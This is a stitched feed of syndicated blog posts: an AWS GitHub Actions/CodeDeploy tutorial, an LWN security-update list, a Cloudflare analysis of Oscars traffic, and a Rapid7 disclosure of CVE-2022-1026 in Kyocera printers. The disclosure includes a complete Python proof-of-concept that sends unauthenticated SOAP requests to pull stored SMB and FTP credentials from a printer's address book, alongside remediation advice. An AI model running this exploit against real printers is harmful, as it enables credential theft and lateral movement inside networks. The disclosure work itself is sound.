GitHub’s Open ID Connector (OIDC) uses the tokens to authenticate to AWS and access resources.
GitHub action uploads the deployment artifacts to Amazon S3.
GitHub action invokes CodeDeploy.
CodeDeploy triggers the deployment to Amazon EC2 instances in an Autoscaling group.
CodeDeploy downloads the artifacts from Amazon S3 and deploys to Amazon EC2 instances.

Prerequisites

Before you begin, you must complete the following prerequisites:

An AWS account with permissions to create the necessary resources.
A GitHub account with permissions to configure GitHub repositories, create workflows, and configure GitHub secrets.
A Git client to clone the provided source code.

Steps

The following steps provide a high-level overview of the walkthrough:

Clone the project from the AWS code samples repository.
Deploy the AWS CloudFormation template to create the required services.
Update the source code.
Setup GitHub secrets.
Integrate CodeDeploy with GitHub.
Trigger the GitHub Action to build and deploy the code.
Verify the deployment.

Download the source code

Clone the source code repository aws-codedeploy-github-actions-deployment.

git clone https://github.com/aws-samples/aws-codedeploy-github-actions-deployment.git

Create an empty repository in your personal GitHub account. To create a GitHub repository, see Create a repo. Clone this repo to your computer. Furthermore, ignore the warning about cloning an empty repository.

git clone https://github.com/<username>/<repoName>.git

Figure2: Github Clone

Copy the code. We need contents from the hidden .github folder for the GitHub actions to work.

cp -r aws-codedeploy-github-actions-deployment/. <new repository>

e.g. GitActionsDeploytoAWS

Now you should have the following folder structure in your local repository.

Repository folder structure

The .github folder contains actions defined in the YAML file.
The aws/scripts folder contains code to run at the different deployment lifecycle events.
The cloudformation folder contains the template.yaml file to create the required AWS resources.
Spring-boot-hello-world-example is a sample application used by GitHub actions to build and deploy.
Root of the repo contains appspec.yml. This file is required by CodeDeploy to perform deployment on Amazon EC2. Find more details here.

The following commands will help make sure that your remote repository points to your personal GitHub repository.

git remote remove origin

git remote add origin <your repository url>

git branch -M main

git push -u origin main

Deploy the CloudFormation template

To deploy the CloudFormation template, complete the following steps:

Open AWS CloudFormation console. Enter your account ID, user name, and Password.
Check your region, as this solution uses us-east-1.
If this is a new AWS CloudFormation account, select Create New Stack. Otherwise, select Create Stack.
Select Template is Ready
Select Upload a template file
Select Choose File. Navigate to template.yml file in your cloned repository at “aws-codedeploy-github-actions-deployment/cloudformation/template.yaml”.
Select the template.yml file, and select next.
In Specify Stack Details, add or modify the values as needed.

- Stack name = CodeDeployStack.
- VPC and Subnets = (these are pre-populated for you) you can change these values if you prefer to use your own Subnets)
- GitHubThumbprintList = 6938fd4d98bab03faadb97b34396831e3780aea1
- GitHubRepoName – Name of your GitHub personal repository which you created.

On the Options page, select Next.
Select the acknowledgement box to allow for the creation of IAM resources, and then select Create. It will take CloudFormation approximately 10 minutes to create all of the resources. This stack would create the following resources.

- Two Amazon EC2 Linux instances with Tomcat server and CodeDeploy agent are installed
- Autoscaling group with Internet Application load balancer
- CodeDeploy application name and deployment group
- Amazon S3 bucket to store build artifacts
- Identity and Access Management (IAM) OIDC identity provider
- Instance profile for Amazon EC2
- Service role for CodeDeploy
- Security groups for ALB and Amazon EC2

Update the source code

On the AWS CloudFormation console, select the Outputs tab. Note that the Amazon S3 bucket name and the ARM of the GitHub IAM Role. We will use this in the next step.

Update the Amazon S3 bucket in the workflow file deploy.yml. Navigate to /.github/workflows/deploy.yml from your Project root directory.

Replace ##s3-bucket## with the name of the Amazon S3 bucket created previously.

Replace ##region## with your AWS Region.

Update the Amazon S3 bucket name in after-install.sh. Navigate to aws/scripts/after-install.sh. This script would copy the deployment artifact from the Amazon S3 bucket to the tomcat webapps folder.

Remember to save all of the files and push the code to your GitHub repo.

Verify that you’re in your git repository folder by running the following command:

git remote -V

You should see your remote branch address, which is similar to the following:

username@3c22fb075f8a GitActionsDeploytoAWS % git remote -v

origin [email protected]:<username>/GitActionsDeploytoAWS.git (fetch)

origin [email protected]:<username>/GitActionsDeploytoAWS.git (push)

Now run the following commands to push your changes:

git add .

git commit -m “Initial commit”

git push

Setup GitHub Secrets

The GitHub Actions workflows must access resources in your AWS account. Here we are using IAM OpenID Connect identity provider and IAM role with IAM policies to access CodeDeploy and Amazon S3 bucket. OIDC lets your GitHub Actions workflows access resources in AWS without needing to store the AWS credentials as long-lived GitHub secrets.

These credentials are stored as GitHub secrets within your GitHub repository, under Settings > Secrets. For more information, see “GitHub Actions secrets”.

Navigate to your github repository. Select the Settings tab.
Select Secrets on the left menu bar.
Select New repository secret.
Select Actions under Secrets.
- Enter the secret name as ‘IAMROLE_GITHUB’.
- enter the value as ARN of GitHubIAMRole, which you copied from the CloudFormation output section.

Integrate CodeDeploy with GitHub

For CodeDeploy to be able to perform deployment steps using scripts in your repository, it must be integrated with GitHub.

CodeDeploy application and deployment group are already created for you. Please use these applications in the next step:

CodeDeploy Application =CodeDeployAppNameWithASG

Deployment group = CodeDeployGroupName

To link a GitHub account to an application in CodeDeploy, follow until step 10 from the instructions on this page.

You can cancel the process after completing step 10. You don’t need to create Deployment.

Trigger the GitHub Actions Workflow

Now you have the required AWS resources and configured GitHub to build and deploy the code to Amazon EC2 instances.

The GitHub actions as defined in the GITHUBREPO/.github/workflows/deploy.yml would let us run the workflow. The workflow is currently setup to be manually run.

Follow the following steps to run it manually.

Go to your GitHub Repo and select Actions tab

Select Build and Deploy link, and select Run workflow as shown in the following image.

After a few seconds, the workflow will be displayed. Then, select Build and Deploy.

You will see two stages:

Build and Package.
Deploy.

Build and Package

The Build and Package stage builds the sample SpringBoot application, generates the war file, and then uploads it to the Amazon S3 bucket.

You should be able to see the war file in the Amazon S3 bucket.

Deploy

In this stage, workflow would invoke the CodeDeploy service and trigger the deployment.

Verify the deployment

Select the Application name and deployment group. You will see the status as Succeeded if the deployment is successful.

Point your browsers to the URL of the Application Load balancer.

Note: You can get the URL from the output section of the CloudFormation stack or Amazon EC2 console Load Balancers.

Optional – Automate the deployment on Git Push

Workflow can be automated by changing the following line of code in your .github/workflow/deploy.yml file.

From

workflow_dispatch: {}


  #workflow_dispatch: {}
  push:
    branches: [ main ]
  pull_request:

This will be interpreted by GitHub actions to automaticaly run the workflows on every push or pull requests done on the main branch.

After testing end-to-end flow manually, you can enable the automated deployment.

Clean up

To avoid incurring future changes, you should clean up the resources that you created.

Empty the Amazon S3 bucket:
Delete the CloudFormation stack (CodeDeployStack) from the AWS console.
Delete the GitHub Secret (‘IAMROLE_GITHUB’)
1. Go to the repository settings on GitHub Page.
2. Select Secrets under Actions.
3. Select IAMROLE_GITHUB, and delete it.

Conclusion

In this post, you saw how to leverage GitHub Actions and CodeDeploy to securely deploy Java SpringBoot application to Amazon EC2 instances behind AWS Autoscaling Group. You can further add other stages to your pipeline, such as Test and security scanning.

Additionally, this solution can be used for other programming languages.

About the Authors

	Mahesh Biradar is a Solutions Architect at AWS. He is a DevOps enthusiast and enjoys helping customers implement cost-effective architectures that scale.
	Suresh Moolya is a Cloud Application Architect with Amazon Web Services. He works with customers to architect, design, and automate business software at scale on AWS cloud.

Security updates for Tuesday

2022-03-29

Post Syndicated from original https://lwn.net/Articles/889571/

Security updates have been issued by Debian (libdatetime-timezone-perl, pjproject, and tzdata), Mageia (chromium-browser-stable, docker, graphicsmagick, and libtiff), Oracle (expat), Red Hat (expat, httpd:2.4, openssl, and screen), Scientific Linux (expat and openssl), and Ubuntu (libtasn1-6, linux-oem-5.14, openjdk-lts, and paramiko).

CVE-2022-1026: Kyocera Net View Address Book Exposure

2022-03-29 Tod Beardsley

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/

CVE-2022-1026: Kyocera Net View Address Book Exposure

Rapid7 researcher Aaron Henderson has discovered that several models of Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function. This vulnerability is an instance of CWE-522: Insufficiently Protected Credentials, and has an estimated base CVSS 3.1 score of 8.6, given that the credentials exposed are used to authenticate to other endpoints, such as external FTP and SMB servers.

Product description

Many Kyocera multifunction printers (MFPs) can be administered using Net Viewer. Two such supported and tested models of MFPs are the ECOSYS M2640idw and the TASKalfa 406ci. These printers can be routinely found in both home office and enterprise environments around the world.

Credit

This issue, CVE-2022-1026, was discovered by security researcher Aaron Henderson of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Kyocera exposes a SOAP API on port 9091/TCP used for remote printer management via the Net Viewer thick client application. While the API supports authentication, and the thick client performs this authentication, while capturing the SOAP requests, it was observed that the specific request to extract an address book, `POST /ws/km-wsdl/setting/address_book` does not require an authenticated session to submit. Those address books, in turn, contain stored email addresses, usernames, and passwords, which are normally used to store scanned documents on external services or send to users over email.

Exploitation details

In order to exploit the vulnerability, an attacker need only be on a network that can reach the MFP’s listening SOAP service on port 9091/TCP. The screenshot below describes submitting an unauthenticated SOAP request to that service, `POST /ws/km-wsdl/setting/address_book` with the described XML.

CVE-2022-1026: Kyocera Net View Address Book Exposure

This instructs the printer to prepare an address book object to be downloaded containing all sensitive data configured in the address book. The printer will respond with an address book enumeration object number, which is ‘5’ in this instance:

Once that object number is received, an attacker can populate the “<ns1:enumeration>” value with that number in a SOAP request, wsa:Action get_personal_address_list, using the same POST endpoint, as shown below.

This will return the printer address book with all configured email addresses, FTP credentials, and network SMB file share credentials stored for user scanning to network shares, in fairly readable XML:

Finally, credentials can be harvested from the provided login_password fields:

Exploit proof of concept

A proof-of-concept (PoC) Python exploit is shown below. Note the time.sleep(5) call, which allows the printer time to first generate the address book.

PoC Python code:

"""
Kyocera printer exploit
Extracts sensitive data stored in the printer address book, unauthenticated, including:
    *email addresses
    *SMB file share credentials used to write scan jobs to a network fileshare
    *FTP credentials
 
Author: Aaron Herndon, @ac3lives (Rapid7)
Date: 11/12/2021
Tested versions: 
    * ECOSYS M2640idw
    *  TASKalfa 406ci
    * 
 
Usage: 
python3 getKyoceraCreds.py printerip
"""
 
import requests
import xmltodict
import warnings
import sys
import time
warnings.filterwarnings("ignore")
 
url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1])
headers = {'content-type': 'application/soap+xml'}
# Submit an unauthenticated request to tell the printer that a new address book object creation is required
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
 
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#print(strResponse)
 
 
parsed = xmltodict.parse(strResponse)
# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration']
 
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:get_personal_address_listRequest><ns1:enumeration>{}</ns1:enumeration></ns1:get_personal_address_listRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(getNumber)
 
print("Obtained address book object: {}. Waiting for book to populate".format(getNumber))
time.sleep(5)
print("Submitting request to retrieve the address book object...")
 
 
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#rint(strResponse)
 
parsed = xmltodict.parse(strResponse)
print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
 
print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'")

Impact

The most likely attack scenario involving this vulnerability would be an attacker, who is already inside the LAN perimeter, leveraging their ability to communicate directly with affected printers to learn the usernames and passwords to stored SMB and FTP file servers. In the case of SMB credentials, those might then be leveraged to establish a presence in the target networks’ Windows domain.

Depending on how those external services are administered, the attacker may also be able to collect prior (and future) print/scan jobs originating from the targeted printer, but the primary value of this vulnerability is lateral movement within the network. Note that printer credentials are not themselves at risk (except in the case of reused passwords, of course), but credentials to services the printer is normally expected to store scanned documents are exposed via this vulnerability.

Remediation

First and foremost, MFPs should under no circumstance be able to be reached directly across the internet. While this is true for most LAN-centric technologies, this is especially true for printers and scanners, which are popular targets for opportunistic attackers. These devices tend to only support weak authentication mechanisms, even in the best of cases, and are rarely kept up to date with firmware updates to address security issues. So, as long as only trusted users can reach these networked printers, the opportunity for attack is limited only to insiders and attackers who have otherwise managed to already establish a local network presence.

At the time of this disclosure, there is no patch or updated firmware available for affected devices. The version information displayed on a vulnerable ECOSYS M2640idw device is shown as below, and we believe the proper version number for this software is the middle version listed, “2S0_1000.005.0012S5_2000.002.505.”

In light of the lack of patching, Kyocera customers are advised to disable the SOAP interface running on port 9091/TCP of affected MFPs. Details on precisely how to disable this service can be found in the documentation relevant to the specific MFP model. If SOAP access is required over the network for normal operation, users should ensure that address books do not contain sensitive, unchanging passwords.

One possible configuration that would make this vulnerability moot would be to only allow public, anonymous FTP or SMB write access (but not read access) for scanned document storage, and another process to move those documents securely across the network to their final destination. The exposure of email addresses would remain, but this is of considerably less value to most attackers.

Disclosure timeline

Nov 2021: Issue identified by Aaron Herndon of Rapid7
Tue Nov 16, 2021: Contacted Kyocera’s primary support and other-support
- Received auto-reply from [email protected]
Fri Nov 19, 2021: Opened case number: CS211119002 with Kyocera support
Mon Nov 22, 2021: Released details to the vendor
Fri Jan 7, 2022: Opened JPCERT/CC case number JVNVU#96890480
- Discovered a more reliable security-specific contact at Kyocera
Wed Jan 19, 2022: Extended disclosure deadline to mid-March, 2022
Jan-Mar 2022: Communication about workarounds and other mitigations
Fri Mar 18, 2022: CVE-2022-1026 reserved
Tue Mar 29, 2022: Public disclosure (this document)

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

THG Podcast: Mafia Beer Wars

2022-03-29 The History Guy: History Deserves to Be Remembered

Post Syndicated from The History Guy: History Deserves to Be Remembered original https://www.youtube.com/watch?v=LnM3uuZ-AKs

How the Oscars impacted the Internet (at least in the US)

2022-03-29 João Tomé

Post Syndicated from João Tomé original https://blog.cloudflare.com/oscars-2022-impact/

How the Oscars impacted the Internet (at least in the US)

The 94th Academy Awards happened this past Sunday, March 27, 2022. In the global event we got to see several Oscars attributed to winners like CODA, Jane Campion (the director of The Power of the Dog) and also Dune (which won six Oscars), but also moments that had a clear impact in the Internet traffic, like the altercation on stage between Will Smith and Chris Rock.

Cloudflare Radar uses a variety of sources to provide aggregate information about Internet traffic and attack trends. In this blog post, we will use DNS name resolution data as a proxy for traffic to Internet services, as we did for the Super Bowl LVI.

The baseline value for the charts (that are only focused on the US) was calculated by taking the mean DNS traffic level for the associated Internet services between 08:00 – 12:00 PST on Sunday (March 27, 2022) — usually we use UTC, but we chose to use Los Angeles time as that’s where the event took place.

The event started with Beyoncé singing at 17:00 PST and ended at around 20:30. In terms of growth in traffic, the start of the show didn’t show much for social media, although TikTok and Twitter started to decrease in DNS requests after that time.

Will Smith makes Twitter and TikTok rise in requests

Twitter and TikTok were the social networks that seemed most impacted by the moment Will Smith went on stage and started an altercation with Chris Rock after a joke.

For Twitter, the major change in DNS requests was exactly after that incident (at 19:25); before that, at 18:00, the moment Sebastián Yatra performed Encanto’s Dos Oruguitas song also had a small spike.

There were 32% more DNS requests for Twitter a few minutes after the altercation, and that growth peaked at 20:15 with 51% more requests than there were at 19:20 — that was after Will Smith (20:05) gave his acceptance and apology speech, when he was awarded the Best Actor Oscar. The ceremony ended at 20:30, and after that traffic went down.

TikTok also seemed to be used during the ceremony and the breaks, and after a spike during one of the commercial breaks, around 18:40, after Troy Kotsur won the Best Supporting Actor Oscar for his role in CODA.

The Will Smith incident seems to be associated with an increase of 20% in requests from 19:20 to 19:30. The trend continued with a 25% increase (19:40) and a peak of 40% more traffic at 20:15, right after Will Smith’s speech. After the ceremony ended (20:30), traffic went down.

Facebook (yellow line) and Instagram (green) weren’t particularly impacted, although there’s a decrease in traffic after the ceremony started and requests start to decrease after 19:00, especially Facebook.

Actresses made IMDb.com tick

One of the main sources of information about the movie industry is IMDb.com, the Internet Movie Database, and traffic to the site was impacted by the Oscars in a way not related to the Will Smith incident. Requests almost doubled (93% increase) in the minutes before the Oscars started (between 16:50 and 17:00).

And there was another clear spike right after Ariana DeBose won (at 17:23) the Best Supporting Actress Oscar for West Side Story, with almost 90% growth in traffic compared to the previous 10 minutes.

There is also an increase at 19:00, when Kenneth Branagh won the Best Original Screenplay Oscar for writing Belfast. The other major spike in traffic, with 55% increase compared to the previous minutes, was right around the time Jessica Chastain got the Oscar for Best Actress for her role in the movie The Eyes of Tammy Faye.

ABC and Oscars.com trends

ABC was the official broadcaster for the 2022 Oscars, and throughout the event had good numbers: two hours before the ceremony, ABC.com and also their dedicated page Oscars.com (that redirects to abc.com/shows/oscars) had between 200 to 600% more traffic than in our baseline (the morning period, 08:00 – 12:00 PST).

The biggest spike was around 19:45, a few minutes after the Will Smith incident. This was around the time Questlove received the Best Documentary Oscar for Summer of Soul (…Or, When the Revolution Could Not Be Televised), and there was a reunion for The Godfather, with Francis Ford Coppola and actors Al Pacino and Robert DeNiro, on stage.

Oscars official website

The official Oscars.org website also had some trends worth mentioning. Requests to the site increased 400% in the hour before the ceremony started, from 16:00 to 17:00, and remained high after that.

But at 19:45 there was a clearer spike in traffic of around 1,300% increase compared to the previous 10 minutes — that was 20 minutes after the Will Smith incident, right after Questlove’s Oscar and at the time of The Godfather reunion. There was another spike right after the Best Actress award and before the event ended. The full list of winners was published on Oscars.org right after 20:30.

Movie news sites trends

So, how about the trends for movie news sites like Variety, Hollywood Reporter, Vulture or E Online? For this we went on to look at the whole Oscars week (the baseline is a mean of the previous Sunday, March 20, 2022). The Oscars Sunday, March 27, was definitely the main day of the week, with DNS requests for those websites growing 833% more than the best days of the week.

That growth was even higher the next day, Monday, March 28, 2022, when traffic rose to 1,200% more than the best days of the previous week.

Conclusion

As we saw with the Super Bowl LVI, an out of the ordinary moment in a popular event, even when it’s broadcasted via television, causes changes in social media and Internet traffic. In the case of the Super Bowl LVI it was the Coinbase ad; here it was an unexpected incident on stage.

Other trends like these can be found on the Cloudflare Radar website or via our dedicated Twitter account.